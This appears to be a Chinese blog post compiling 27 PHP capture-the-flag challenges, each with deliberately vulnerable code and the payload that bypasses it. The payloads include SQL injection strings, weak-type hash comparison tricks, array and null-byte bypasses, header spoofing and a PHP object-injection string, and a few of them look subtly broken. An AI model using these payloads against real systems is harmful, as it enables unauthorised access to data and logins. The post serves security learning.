CTF中的PHP问题总结

warning: 这篇文章距离上次修改已过342天,其中的内容可能已经有所变动。

来自https://hackfun.org/ Orz
CTF中一些PHP问题小结

1 extract变量覆盖

code

<?php
$flag='xxx';
extract($_GET);
 if(isset($shiyan))
 {
    $content=trim(file_get_contents($flag));
    if($shiyan==$content)
    {
        echo'ctf{xxx}';
    }
   else
   {
    echo'Oh.no';
   }
   }
?>
payload

http://127.0.0.1/233.php?shiyan=&flag=1

2 绕过trim函数过滤

code

<?php

$info = "";
$req = [];
$flag="xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";

ini_set("display_error", false); //为一个配置选项设置值
error_reporting(0); //关闭所有PHP错误报告

if(!isset($_GET['number'])){
   header("hint:26966dc52e85af40f59b4fe73d8c323a.txt"); //HTTP头显示hint 26966dc52e85af40f59b4fe73d8c323a.txt

   die("have a fun!!"); //die — 等同于 exit()

}

foreach([$_GET, $_POST] as $global_var) {  //foreach 语法结构提供了遍历数组的简单方式
    foreach($global_var as $key => $value) {
        $value = trim($value);  //trim — 去除字符串首尾处的空白字符(或者其他字符)
        is_string($value) && $req[$key] = addslashes($value); // is_string — 检测变量是否是字符串,addslashes — 使用反斜线引用字符串
    }
}


function is_palindrome_number($number) {
    $number = strval($number); //strval — 获取变量的字符串值
    $i = 0;
    $j = strlen($number) - 1; //strlen — 获取字符串长度
    while($i < $j) {
        if($number[$i] !== $number[$j]) {
            return false;
        }
        $i++;
        $j--;
    }
    return true;
}


if(is_numeric($_REQUEST['number'])) //is_numeric — 检测变量是否为数字或数字字符串
{

   $info="sorry, you cann't input a number!";

}
elseif($req['number']!=strval(intval($req['number']))) //intval — 获取变量的整数值
{

     $info = "number must be equal to it's integer!! ";  

}
else
{

     $value1 = intval($req["number"]);
     $value2 = intval(strrev($req["number"]));  

     if($value1!=$value2){
          $info="no, this is not a palindrome number!";
     }
     else
     {

          if(is_palindrome_number($req["number"])){
              $info = "nice! {$value1} is a palindrome number!";
          }
          else
          {
             $info=$flag;
          }
     }

}

echo $info;
?>

这段代码中,由于is_numeric没有检测\0(%00),所以导致其中is_numeric($_REQUEST['number'])为false,成功跳过检测。由于trim函数没有过滤\f(%0c),而intval函数跳过\f(%0c),导致$value1$value2相等,进入到is_palindrome_number函数成功通过$number[$i] != $number[$j]检测返回false,最终进入到获取$flagelse里。

payload

?number=%0c123

3 多重加密

code

<?php
    include 'common.php';
    $requset = array_merge($_GET, $_POST, $_COOKIE);
    //把一个或多个数组合并为一个数组
    class db
    {
        public $where;
        function __wakeup()
        {
            if(!empty($this->where))
            {
                $this->select($this->where);
            }
        }
        function select($where)
        {
            $sql = mysql_query('select * from user where '.$where);
            //函数执行一条 MySQL 查询。
            return @mysql_fetch_array($sql);
            //从结果集中取得一行作为关联数组,或数字数组,或二者兼有返回根据从结果集取得的行生成的数组,如果没有更多行则返回 false
        }
    }
    if(isset($requset['token']))
    //测试变量是否已经配置。若变量已存在则返回 true 值。其它情形返回 false 值。
    {
        $login = unserialize(gzuncompress(base64_decode($requset['token'])));
        //gzuncompress:进行字符串压缩
        //unserialize: 将已序列化的字符串还原回 PHP 的值
        $db = new db();
        $row = $db->select('user=\''.mysql_real_escape_string($login['user']).'\'');
        //mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。
        if($login['user'] === 'ichunqiu')
        {
            echo $flag;
        }else if($row['pass'] !== $login['pass']){
            echo 'unserialize injection!!';
        }else{
            echo "(╯‵□′)╯︵┴─┴ ";
        }
    }
    // else{
    //     header('Location: index.php?error=1');
    // }
?>
payload
<?php
$arr = array(['user'] === 'ichunqiu');
$token = base64_encode(gzcompress(serialize($arr)));
print_r($token);
?>

http://127.0.0.1/233.php?token=eJxLtDK0qs60MrBOAuJaAB5uBBQ=

4 sql注入 WITH ROLLUP绕过

code

<?php
error_reporting(0);
if (!isset($_POST['uname']) || !isset($_POST['pwd'])) {
    echo '<form action="" method="post">'."<br/>";
    echo '<input name="uname" type="text"/>'."<br/>";
    echo '<input name="pwd" type="text"/>'."<br/>";
    echo '<input type="submit" />'."<br/>";
    echo '</form>'."<br/>";
    echo '<!--source: source.txt-->'."<br/>";
    die;
}
function AttackFilter($StrKey,$StrValue,$ArrReq){  
    if (is_array($StrValue)){
//检测变量是否是数组
        $StrValue=implode($StrValue);
//返回由数组元素组合成的字符串
    }
    if (preg_match("/".$ArrReq."/is",$StrValue)==1){   
//匹配成功一次后就会停止匹配
        print "水可载舟,亦可赛艇!";
        exit();
    }
}
$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";
foreach($_POST as $key=>$value){
//遍历数组
    AttackFilter($key,$value,$filter);
}
$con = mysql_connect("localhost","root","root");
if (!$con){
    die('Could not connect: ' . mysql_error());
}
$db="test";
mysql_select_db($db, $con);
//设置活动的 MySQL 数据库
$sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";
echo $sql;
echo "</br>";
$query = mysql_query($sql);
//执行一条 MySQL 查询
var_dump(mysql_num_rows($query));
echo "</br>";
if (mysql_num_rows($query) == 1) {
//返回结果集中行的数目
    $key = mysql_fetch_array($query);
//返回根据从结果集取得的行生成的数组,如果没有更多行则返回 false
    if($key['pwd'] == $_POST['pwd']) {
        print "CTF{XXXXXX}";
    }else{
        print "亦可赛艇!";
    }
}else{
    print "一颗赛艇!";
}
mysql_close($con);
?>
payload

pwd&uname=admin' group by pwd with rollup limit 1 offset 1#--

5 ereg正则%00截断

code

<?php
$flag = "flag";
if (isset ($_GET['password']))
{
  if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
  {
    echo '<p>You password must be alphanumeric</p>';
  }
  else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
   {
     if (strpos ($_GET['password'], '*-*') !== FALSE) //strpos — 查找字符串首次出现的位置
      {
      die('Flag: ' . $flag);
      }
      else
      {
        echo('<p>*-* have not been found</p>');
       }
      }
     else
     {
        echo '<p>Invalid password</p>';
      }
   }
?>

ereg是处理字符串,传入数组后就返回NULL

payload

?password=1e9%00*-*

6 strcmp比较字符串

这个以前有写过,就不多废话了

7 sha1()函数比较绕过

先说一下sha1()函数吧。
sha1-计算字符串的sha1散列值
string sha1 ( string $str [, bool $raw_output = false ] )

参数

str

输入字符串

raw_output

如果可选的 raw_output 参数被设置为 TRUE, 那么 sha1 摘要将以 20 字符长度的原始格式返回, 否则返回值是一个 40 字符长度的十六进制数字。
利用美国安全散列算法1计算字符串的sha1散列值
code

<?php
$flag = "flag";
if (isset($_GET['name']) and isset($_GET['password']))
{
    var_dump($_GET['name']);
    echo "</br>";
    var_dump($_GET['password']);
    var_dump(sha1($_GET['name']));
    var_dump(sha1($_GET['password']));
    if ($_GET['name'] == $_GET['password'])
        echo '<p>Your password can not be your name!</p>';
    else if (sha1($_GET['name']) === sha1($_GET['password']))
      die('Flag: '.$flag);
    else
        echo '<p>Invalid password.</p>';
}
else
    echo '<p>Login first!</p>';
?>

由于sha1()函数和md5()函数在处理传入参数为数组时会报警并且返回NULL,所以构造两个不同数组传进去就可以绕过if ($_GET['name']=$_GET['password'])else if (sha1($_GET['name'])==sha1($_GET['password']))

payload

?name[]=1&password[]=2
其实感觉跟md5是一样的emmmmmmm

8 SESSION验证绕过

code

<html>  
<head>  
    <title>Get flag</title>
</head>  
<body>  

<?php  
session_start();   

require 'flag.php';  

if (isset ($_GET['password'])) {  
    if ($_GET['password'] == $_SESSION['password'])  
        die ('Flag: '.$flag);  
    else  
        print '<p class="alert">Wrong guess.</p>';  
}  

// Unpredictable seed  
mt_srand((microtime() ^ rand(1, 10000)) % rand(1, 10000) + rand(1, 10000));  
?>  

<section class="login">    
        <ul class="list">  
        <?php  
        for ($i=0; $i<3; $i++)  
            print '<li>' . mt_rand (0, 0xffffff) . '</li>';  
        $_SESSION['password'] = mt_rand (0, 0xffffff);  
        ?>  
        </ul>  

        <form method="get">  
                <input type="text" required name="password" placeholder="Next number" /><br/>  
                <input type="submit"/>  
        </form>  
</section>  
</body>  
</html>

if ($_GET['password']=$_SESSION['password']),可以手动删除请求时的cookie,让$_SESSION['password']字段为NULL,并且让传入的password参数为NULL

payload

?password=

9 密码md5比较绕过

跟一般md5有丶不同嗷~~~~
code

<?php
//配置数据库
if($_POST[user] && $_POST[pass]) {
    $conn = mysql_connect("localhost", "root", "root");
    mysql_select_db("test") or die("Could not select database");
    if ($conn->connect_error) {
        die("Connection failed: " . mysql_error($conn));
}
//赋值
$user = $_POST[user];
$pass = md5($_POST[pass]);
//sql语句
$sql = "select pwd from test where user='$user'";
$query = mysql_query($sql);
if (!$query) {
    printf("Error: %s\n", mysql_error($conn));
    exit();
}
$row = mysql_fetch_array($query, MYSQL_ASSOC);
  if (($row[pwd]) && (!strcasecmp($pass, $row[pwd]))) {
//如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。
    echo "<p>Logged in! Key:************** </p>";
}
else {
    echo("<p>Log in failure!</p>");
  }
}
?>
payload

?user=' union select 'e10adc3949ba59abbe56e057f20f883e' #&pass=123456

10 urldecode 二次编码绕过

就是一个urldecode()函数,将参数进行二次编码就行,没啥好多说的

11 X-Forwarded-For 绕过IP

code

<?php
function GetIP(){
if(!empty($_SERVER["HTTP_CLIENT_IP"]))
    $cip = $_SERVER["HTTP_CLIENT_IP"];
else if(!empty($_SERVER["HTTP_X_FORWARDED_FOR"]))
    $cip = $_SERVER["HTTP_X_FORWARDED_FOR"];
else if(!empty($_SERVER["REMOTE_ADDR"]))
    $cip = $_SERVER["REMOTE_ADDR"];
else
    $cip = "0.0.0.0";
return $cip;
}
$GetIPs = GetIP();
if ($GetIPs=="1.1.1.1"){
echo "Great! Key is *********";
}
else{
echo "错误!你的IP不在访问列表之内!";
}
?>
payload

很简单,bp抓包,然后HTTP透添加X-Forwarded-For:1.1.1.1

12 md5加密相等绕过

code

<?php
$md51 = md5('QNKCDZO');
$a = @$_GET['a'];
$md52 = @md5($a);
if(isset($a)){
if ($a != 'QNKCDZO' && $md51 == $md52) {
    echo "flag{*****************}";
} else {
    echo "false!!!";
}}
else{echo "please input a";}
?>

又是PHP弱类型嘤嘤嘤~~~,随便找个0exxx的字符串就行

payload

?a=240610708

13 intval函数向下取整

code

<?php
if($_GET[id]) {
    $conn = mysql_connect("localhost", "root", "root");
    mysql_select_db("test") or die("Could not select database");
    if ($conn->connect_error) {
      die("Connection failed: " . mysql_error($conn));
    }
  $id = intval($_GET[id]);
  echo $id;
  $query = @mysql_fetch_array(mysql_query("select flag from ctf where id='$id'"));
  echo $_GET[id];
  if ($_GET[id]==1024) {
    echo "<p>no! try again</p>";
  }
  else{
    echo($query[flag]);
  }
}
?>

记得以前CTF遇到过,具体在哪我给忘了,反正取一个大于1024,小于1025的小数就行

payload

?id=1024.1

14 strpos数组绕过NULL与ereg正则%00截断

code

<?php
$flag = "flag";
    if (isset ($_GET['nctf'])) {
        if (@ereg ("^[1-9]+$", $_GET['nctf']) === FALSE)
            echo '必须输入数字才行';
        else if (strpos ($_GET['nctf'], '#biubiubiu') !== FALSE)   
            die('Flag: '.$flag);
        else
            echo '骚年,继续努力吧啊~';
    }
 ?>

也是平台上的一道题

writeup

两种方法

  • 法一(我不知道的方法):
    按题目要求,既要是数字,又要有#biubiubiustrpos()要的是字符串,那么传一个数组给他,那么返回NULL,而NULL=false,so it is right。

所以?nctf[]=

  • 法二:
    字符串截断,利用函数ereg()的NULL截断漏洞,绕过正则漏洞。同时要把#编码

?nctf=1%00%23biubiubiu

15 SQL注入or绕过

code

<?php
#GOAL: login as admin,then get the flag;
error_reporting(0);
require 'db.inc.php';
function clean($str){
    if(get_magic_quotes_gpc()){ //get_magic_quotes_gpc — 获取当前 magic_quotes_gpc 的配置选项设置
        $str=stripslashes($str); //返回一个去除转义反斜线后的字符串(\' 转换为 ' 等等)。双反斜线(\\)被转换为单个反斜线(\)。
    }
    return htmlentities($str, ENT_QUOTES);
}
$username = @clean((string)$_GET['username']);
$password = @clean((string)$_GET['password']);
//$query='SELECT * FROM users WHERE name=\''admin\'\' AND pass=\''or 1 #'\';';
$query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';
$result=mysql_query($query);
if(!$result || mysql_num_rows($result) < 1){
    die('Invalid password!');
}
echo $flag;
?>

key words:$query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';

payload

?username=admin\'\' AND pass=\''or 1 #&password=

16密码md5比较绕过

这个有点没看懂,先记着。
code

<?php
if($_POST[user] && $_POST[pass]) {
   mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
  mysql_select_db(SAE_MYSQL_DB);
  $user = $_POST[user];
  $pass = md5($_POST[pass]);
  $query = @mysql_fetch_array(mysql_query("select pw from ctf where user=' $user '"));
  if (($query[pw]) && (!strcasecmp($pass, $query[pw]))) {
    //strcasecmp:0 - 如果两个字符串相等
      echo "<p>Logged in! Key: flag{**************} </p>";
  }
  else {
    echo("<p>Log in failure!</p>");
  }
}
?>
payload

key://select pw from ctf where user=''and 0=1 union select 'e10adc3949ba59abbe56e057f20f883e' #

?user='and 0=1 union select 'e10adc3949ba59abbe56e057f20f883e' #&pass=123456

17 md5()函数===使用数组绕过

code

<?php
error_reporting(0);
$flag = 'flag{test}';
if (isset($_GET['username']) and isset($_GET['password'])) {
    if ($_GET['username'] == $_GET['password'])
        print 'Your password can not be your username.';
    else if (md5($_GET['username']) === md5($_GET['password']))
        die('Flag: '.$flag);
    else
        print 'Invalid password';
}
?>
payload

以前遇到过md5($_GET['username']) == md5($_GET['password'])
则可以构造:
?username=QNKCDZO&password=240610708
因为==对比的时候会进行数据转换,0eXXXXXXXXXX 转成0了
也可以使用数组绕过
?username[]=1&password[]=2
但这里是===,只能用数组绕过,PHP对数组进行hash计算都会得出null的空值
?username[]=1&password[]=2

18 十六进制与数字比较

code

<?php
error_reporting(0);
function noother_says_correct($temp)
{
    $flag = 'flag{test}';
    $one = ord('1');  //ord — 返回字符的 ASCII 码值
    $nine = ord('9'); //ord — 返回字符的 ASCII 码值
    $number = '3735929054';
    // Check all the input characters!
    for ($i = 0; $i < strlen($number); $i++)
    {
        // Disallow all the digits!
        $digit = ord($temp{$i});
        if ( ($digit >= $one) && ($digit <= $nine) )
        {
            // Aha, digit not allowed!
            return "flase";
        }
    }
    if($number == $temp)
        return $flag;
}
$temp = $_GET['password'];
echo noother_says_correct($temp);
?>
payload

将3735929054转为16进制
结果为:deadc0de
在开头加上0x,代表这个是16进制的数字,然后再和十进制的 3735929054比较,答案当然是相同的,返回true拿到flag
?password=0xdeadc0de

19 数字验证正则绕过

新玩意儿,从没见过。了解一下new! new! new!
code

<?php
error_reporting(0);
$flag = 'flag{test}';
if  ("POST" == $_SERVER['REQUEST_METHOD'])
{
    $password = $_POST['password'];
    if (0 >= preg_match('/^[[:graph:]]{12,}$/', $password)) //preg_match — 执行一个正则表达式匹配
    {
        echo 'Wrong Format';
        exit;
    }
    while (TRUE)
    {
        $reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/';
        if (6 > preg_match_all($reg, $password, $arr))
            break;
        $c = 0;
        $ps = array('punct', 'digit', 'upper', 'lower'); //[[:punct:]] 任何标点符号 [[:digit:]] 任何数字  [[:upper:]] 任何大写字母  [[:lower:]] 任何小写字母
        foreach ($ps as $pt)
        {
            if (preg_match("/[[:$pt:]]+/", $password))
                $c += 1;
        }
        if ($c < 3) break;
        //>=3,必须包含四种类型三种与三种以上
        if ("42" == $password) echo $flag;
        else echo 'Wrong password';
        exit;
    }
}
?>

分析一波:0 >= preg_match('/^[[:graph:]]{12,}$/', $password)意思是要12个字符以上(非空格非TAB之外的内容)

$reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/';
if (6 > preg_match_all($reg, $password, $arr))

匹配到的次数要>6

$ps = array('punct', 'digit', 'upper', 'lower'); //[[:punct:]] 任何标点符号 [[:digit:]] 任何数字  [[:upper:]] 任何大写字母  [[:lower:]] 任何小写字母
foreach ($ps as $pt)
{
    if (preg_match("/[[:$pt:]]+/", $password))
        $c += 1;
}
if ($c < 3) break;

要有大小写字符,数字,字符内容三种与三种以上

payload
42.00e+00000000000
或
420.000000000e-1

20 弱类型整数大小比较绕过

烦,弱类型怎么那么多。嘤!
code

<?php
error_reporting(0);
$flag = "flag{test}";
$temp = $_GET['password'];
is_numeric($temp)?die("no numeric"):NULL;    
if($temp>1336){
    echo $flag;
}
?>

is_numeric($temp)?die("no numeric"):NULL;
不能是数字,但是又要>1336

payload

?password=1337a

21 md5()true 绕过注入

code

<?php
error_reporting(0);
$link = mysql_connect('localhost', 'root', 'root');
if (!$link) {
  die('Could not connect to MySQL: ' . mysql_error());
}
// 选择数据库
$db = mysql_select_db("security", $link);
if(!$db)
{
  echo 'select db error';
  exit();
}
// 执行sql
$password = $_GET['password'];
$sql = "SELECT * FROM users WHERE password = '".md5($password,true)."'";
var_dump($sql);
// SELECT * FROM users WHERE password = '276f722736c95d99e921722cf9ed621c'
$result=mysql_query($sql) or die('<pre>' . mysql_error() . '</pre>' );
$row1 = mysql_fetch_row($result);
var_dump($row1);
mysql_close($link);
?>

$sql = "SELECT * FROM users WHERE password = '".md5($password,true)."'";
md5($password,true)
将md5后的hex转换成字符串

如果包含'or'xxx这样的字符串,那整个sql变成

SELECT * FROM admin WHERE pass = ''or'xxx'就绕过了

字符串:ffifdyop

md5后,276f722736c95d99e921722cf9ed621c
hex转换成字符串:'or'6<trash>

payload

?password=ffifdyop

22 switch没有 break 字符与0比较绕过

code

<?php
// error_reporting(0);
if (isset($_GET['which']))
{
    $which = $_GET['which'];
    switch ($which)
    {
    case 0:
    print('arg');
    // break;
    case 1:
    case 2:
        require_once $which.'.php';
         echo $flag;
        break;
    default:
        echo GWF_HTML::error('PHP-0817', 'Hacker NoNoNo!', false);
        break;
    }
}
?>

here:
让我们包含当前目录中的flag.php,给which为flag,这里会发现在case 0和case 1的时候,没有break,按照常规思维,应该是0比较不成功,进入比较1,然后比较2,再然后进入default,但是事实却不是这样,事实上,在 case 0的时候,字符串和0比较是相等的,进入了case 0的方法体,但是却没有break,这个时候,默认判断已经比较成功了,而如果匹配成功之后,会继续执行后面的语句,这个时候,是不会再继续进行任何判断的。也就是说,我们which传入flag的时候,case 0比较进入了方法体,但是没有break,默认已经匹配成功,往下执行不再判断,进入2的时候,执行了require_once flag.php

payload

?which=flag

23 unserialize()

刚刚学了一点序列化知识就看到这个
code

<?php
    require_once('shield.php');
    $x = new Shield();
    isset($_GET['class']) && $g = $_GET['class'];
    if (!empty($g)) {
        $x = unserialize($g);
    }
    echo $x->readfile();
?>
<img src="showimg.php?img=c2hpZWxkLmpwZw==" width="100%"/>
<!-- shield.php -->
<?php
    //flag is in pctf.php
    class Shield {
        public $file;
        function __construct($filename = '') {
            $this -> file = $filename;
        }

        function readfile() {
            if (!empty($this->file) && stripos($this->file,'..')===FALSE  
            && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
                return @file_get_contents($this->file);
            }
        }
    }
?>
<!-- showimg.php -->
<?php
    $f = $_GET['img'];
    if (!empty($f)) {
        $f = base64_decode($f);
        if (stripos($f,'..')===FALSE && stripos($f,'/')===FALSE && stripos($f,'\\')===FALSE
        //stripos — 查找字符串首次出现的位置(不区分大小写)
        && stripos($f,'pctf')===FALSE) {
            readfile($f);
        } else {
            echo "File not found!";
        }
    }
?>

说明:flag在pctf.php,但showimg.php中不允许直接读取pctf.php,只有在index.php中可以传入变量class
,index.php中Shield类的实例$X = unserialize($g)$g = $_GET['class'];$X中不知$filename变量,但需要找的是:$filename = "pctf.php",现$X已知,求传入的class变量值。
可以进行序列化操作:

<?php
require_once('shield.php');
$x = class Shield();
$g = serialize($x);
echo $g;
?>
<!-- shield.php -->
<?php
    //flag is in pctf.php
    class Shield {
        public $file;
        function __construct($filename = 'pctf.php') {
            $this -> file = $filename;
        }

        function readfile() {
            if (!empty($this->file) && stripos($this->file,'..')===FALSE  
            && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
                return @file_get_contents($this->file);
            }
        }
    }
?>

得到O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}

payload

?class=O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}

24 md5绕过(hash比较缺陷)

<?php
if (isset($_GET['username']) && isset($_GET['password']) {
    $logined=ture;
    $username=$_GET['username'];
    $password=$_GET['password'];

    if (!ctype_alpha($username)) {$logined=false;}
    if (!is_numeric($password))  {$logined=false;}
    if (md5($username) != md5($password))  {$logined=false;}
    if ($logined){
        echo "successful";
    }
    else{
        echo "logined failed!";
    }
}
?>

题目大一是要输入一个字符串和数字类型的变量,并且要题目的md5值相等

payload

默默传一个md5('240610708')==md5('QNKCDZO')

25 json绕过

<?php
if (isset($_POST['message'])) {
 $message = json_decode($_POST['message']);
 $key ="*********";
 if ($message->key == $key) {
 echo "flag";
 }
 else {
 echo "fail";
 }
 }
 else{
 echo "~~~~";
 }
?>

输入一个json类型的字符串,json_decode函数解密成一个数组,判断key的值是否扥估$key的值,但是并不知道$key的值,所以用0=="abc"这种方式绕过

payload

message={"key:0"}

26 array_search is _array 绕过

<?php
if(!is_array($_GET['test'])){exit();}
$test=$_GET['test'];
for($i=0;$i<count($test);$i++){
 if($test[$i]==="admin"){
 echo "error";
 exit();
 }
 $test[$i]=intval($test[$i]);
}
if(array_search("admin",$test)===0){
 echo "flag";
}
else{
 echo "false";
}
?>

先判断传入的是不是一个数组,然后循环遍历数组中的每个值,并且数组中的每个值不能喝admin相等,然后将每个值转换为int类型,再判断传入的数组是否有admin,有的话就返回flag。

payload

test[]=0

27 strcmp绕过

<?php
 $password="***************"
 if(isset($_POST['password'])){
 if (strcmp($_POST['password'], $password) == 0) {
 echo "Right!!!login success";n
 exit();
 } else {
 echo "Wrong password..";
 }
?>

strcmp是二进制安全比较字符,具体详情php手册上有就不说了。
这里并不知道password的值,但题目要求strcmp判断的接受的值和$password相等,那么就传入一个不符合类型的数,发生错误,就判断其相等

payload

password[]=xxxx

资料

CTF中常见PHP特性学习笔记

none
最后修改于:2020年11月09日 13:55

添加新评论